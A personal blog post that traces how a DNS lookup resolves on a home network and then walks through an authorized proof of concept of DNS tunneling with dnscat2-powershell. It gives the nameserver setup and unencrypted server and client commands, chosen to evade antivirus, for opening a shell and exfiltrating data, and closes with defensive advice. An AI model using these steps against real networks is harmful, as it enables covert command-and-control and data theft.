Wednesday, March 21, 2018

DNS Tunneling walk-through

DNS is a rather complicated system to resolve IP addresses into human readable words and vice versa. There's any number of guides online for understanding and implementing DNS, but the average user will only see it in the following form:


The reason DNS is actually quite complicated can be figured out from the Wikipedia article linked above, or by looking at the steps involved above. That's a lot of hops and different potential computers to query just to get to google.com. In fact, before step 3 above there can be another step if your computer is in a complicated network, such as at a corporate office location, where a local DNS server is queried first before going out onto the web:


Please read the following presentation I found, especially on slide 11 which illustrates the arrows in the image above.

It helped me to think of DNS as parts of a system rather than a whole, e.g. it's a "decentralized naming system for computers, services, or other resources connected to the Internet or a private network". To help make the Internet work, various "authoritative" servers have some version of this naming system installed, and respond to DNS "queries" to translate websites names to IP addresses for your web browser to understand. Since it's just a naming system, there's any number of DNS programs, and even your own computer can function as part of this, such as being a local DNS server.

Here's a query we can go over from my home network, which isn't a perfect environment as a recent network/router upgrade plus use of a secondary DNS server has created hard to figure out DNS issues. We're going to use the "nslookup" tool to resolve "www.yosefkerzner.com".



Now, because I like to get to the deep levels of who things work, let's start from the top, or bottom as it were.

1. The computer issuing the request has received a local IP of 192.168.3.107 from the router via DHCP. DHCP is a way of handing out IP addresses dynamically.


 Along with this IP, the router told the computer to use 192.168.3.102 as the local DNS server. This IP address, with a hostname of pihole, hosts just that, the Pi-Hole network ad blocker. Along with interesting ad-blocking effects, websites can load faster thanks to some extra caching. So the nslookup tool first outputs just that information.

Then a DNS query is issued to the Pi-Hole:





Next, the pihole refers to the "upstream" DNS settings in its configuration, and finds that the upstream DNS settings have the Google DNS servers of 8.8.8.8 and 8.8.4.4. For some reason two DNS queries for the A record are made (this is strange and I don't know why it happens):



While looking for the A resource record, the Google DNS server discovers a CNAME resource record saying that "www.yosefkerzner.com" is an alias for "yosefkerzner.com", so it re-initiates the query using "yosefkerzner.com".  It finds an A record for "yosefkerzner.com" with the matching IP address of 75.98.175.85, and returns that information to the pihole.

This then gets passed back to the original computer:




I'm not getting into existing NS records for this domain and what role they play in the resolving process, and also not discussing resolving 75.98.175.85 (reverse-dns), as this currently isn't working for a reason I'll have to investigate, but probably has to do with the domain being hosted on A2Hosting, not a standalone server.

Now, after this sidetracking, we can get back to the main topic. If you've read some of the links, you'll see that there's a whole number of resource records that can be configured for DNS, including a TXT record, which permits you to add arbitrary information about a domain. This can be useful in situations where regular browsing over HTTP isn't working, whether because you have to pay Delta a ton of money to browse their inflight-wifi, or pay a hotel to use the wifi, or because a pesky network administrator has blocked all outbound HTTP communication and isn't monitoring DNS. Why not use the TXT records to hold other types of data and make a data tunnel with DNS?

Enter DNS tunneling. Guides are available everywhere, here's the best image I've found:


Me and some colleagues used DNS tunneling to prove it was possible to send data from a locked-down Windows 10 machine meant for a secure environment outbound to a server under my control. I followed this guide: https://zeltser.com/c2-dns-tunneling/ mostly, but used a rewrite of the DnsCat2 tool created by the folks at BlackHillsInfosec for Powershell, dnscat2-powershell, as the original client executable was flagged by antivirus and immediately removed.

The domain I used was "yosefkerzner.com", and in A2Hosting the settings were set as follows:
  1. Visit https://my.a2hosting.com/clientarea.php?action=domaindetails
  2. Click the entry that says "Private Nameservers". Register a NameServer Name. In my case it was dns1.yosefkerzner.com. Enter the IP address of the droplet created during the guide above, and click "Save Changes". Create another one for dns2.
  3. Now, click the section titled "Nameservers". Click "Use Custom Nameservers" and enter your private nameservers, e.g. dns1.yosefkerzner.com and dns2.yosefkerzner.com.
  4. Click "Change Nameservers" and wait 24-48 hours as the nameserver information gets propagated across the web. Watch whatever content hosted originally on your domain disappear.

 I encountered the following issues with Dnscat2:
  • The tunnel created was highly unstable.
    • It did not tolerate being idle, as eventually DNS queries would get jumbled up and the tunnel would break, so eventually I simply launched long queries such as a dump of running processes to keep the tunnel alive while researching what else could be exfiltrated.
    • I was forced to launch a connection first, and only then to drop into a reverse shell. Command shells didn't work at all, though console connections did if I wanted to type text in the client and see it on the server.
    • Security tunnel options included in the tool also caused instability, so I had to operate it without security or secret passphrases, e.g.:
      • On the server: ruby ./dnscat2.rb --security=open --no-cache --dns="domain=yosefkerzner.com"
      • On the client: Start-Dnscat2 -Domain yosefkerzner.com -NoEncryption
  • Uploading and Downloading didn't work at all, even for small files.

All in all it was a fun experience and great proof of concept of the importance of security controls for DNS. To prevent DNS tunneling consider limiting outbound DNS or using DNSSEC, and monitoring for large DNS volumes, because no client needs to be sending vast quantities of DNS queries to a unknown IP address.

No comments: